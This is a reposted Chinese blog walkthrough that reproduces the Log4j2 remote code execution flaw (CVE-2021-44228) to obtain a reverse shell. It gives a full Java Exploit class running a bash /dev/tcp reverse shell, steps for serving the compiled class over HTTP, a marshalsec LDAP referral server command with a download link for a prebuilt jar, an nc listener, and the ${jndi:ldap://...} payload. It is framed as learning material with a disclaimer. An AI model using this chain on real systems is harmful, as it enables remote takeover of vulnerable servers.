栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Log4j2 远程代码执行漏洞(cve-2021-44228)复现(反弹shell)

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Log4j2 远程代码执行漏洞(cve-2021-44228)复现(反弹shell)

文章目录
      • 1、构造EXP
      • 2、使用javac进行编译
      • 3、将.class文件放到web根目录下
      • 4、使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一个ldap的服务
      • 5、nc开启监听
      • 6、准备工作完毕,上payload
      • 7、靶场测试
      • 8、成功反弹shell

最近log4j2可谓是无人不知无人不晓,出去吹牛不知道这个还好意思说自己是做安全的嘛!今天我就来复现一下

1、构造EXP
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.Runtime;
import java.lang.Process;

public class Exploit{
    public Exploit() throws Exception {
        //创建一个进程的实例
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/1234 0>&1"});
        InputStream is = p.getInputStream();//输入流
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));//输入流缓冲区

        String line;
        while((line = reader.readLine()) != null) {//循环读取缓冲区中的数据
            System.out.println(line);//输出获取 的数据
        }

        p.waitFor();//waitFor:返回该Process对象代表的进程的出口值,值0表示正常退出,非0非正常。
        is.close(); 
        reader.close();
        p.destroy();//destroy:杀掉该Process对象代表的进程。
    }

    public static void main(String[] args) throws Exception {
    }
}

其实说白了就是一个反弹shell的命令执行

2、使用javac进行编译


会看到文件夹里多了个.class文件,这个就是我们需要用的攻击载荷

3、将.class文件放到web根目录下

这里可以使用python开启一个简单的http服务:python -m SimpleHTTPServer 80
python3开启服务命令:python -m http.server 80
将文件夹中的.java文件删除,然后在目录下执行这条命令就可以了,我这里监听了80端口,可以自己改

可以看到能够成功访问

4、使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一个ldap的服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exp" 9999

这里放一下这个jar包的链接,这是我自己用jdk1.8编译的,方便没有环境的人使用(今天找了半天现成的没找到,折腾了半天还是自己动手丰衣足食!):https://pan.baidu.com/s/1BZwbcu6r4eLXtp8t97gLnQ
提取码:8503

github上有源码,但是需要自己进行编译:https://github.com/mbechler/marshalsec

说明一下:这里的url填的是自己开启的http服务,9999表示ldap服务监听的端口

5、nc开启监听

因为我java类中监听的是1234端口,这里要保持一致,别写错了

nc -lvvp 1234

6、准备工作完毕,上payload
${jndi:ldap://ip:9999/Exploit}
7、靶场测试

8、成功反弹shell

注意事项:靶场是在一个大佬的公众号上看到的,就不贴出来了,由于这个靶场是在公网上,所以做实验时需要有外网的ip才能进行(就是在服务器上进行,不然别人访问不到你,自然不会下载什么exp了)。如果实验不成功,记得检查云服务控制台里的安全规则,看所涉及的端口是否都是允许开放的。


本文只用于学习交流,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/664728.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号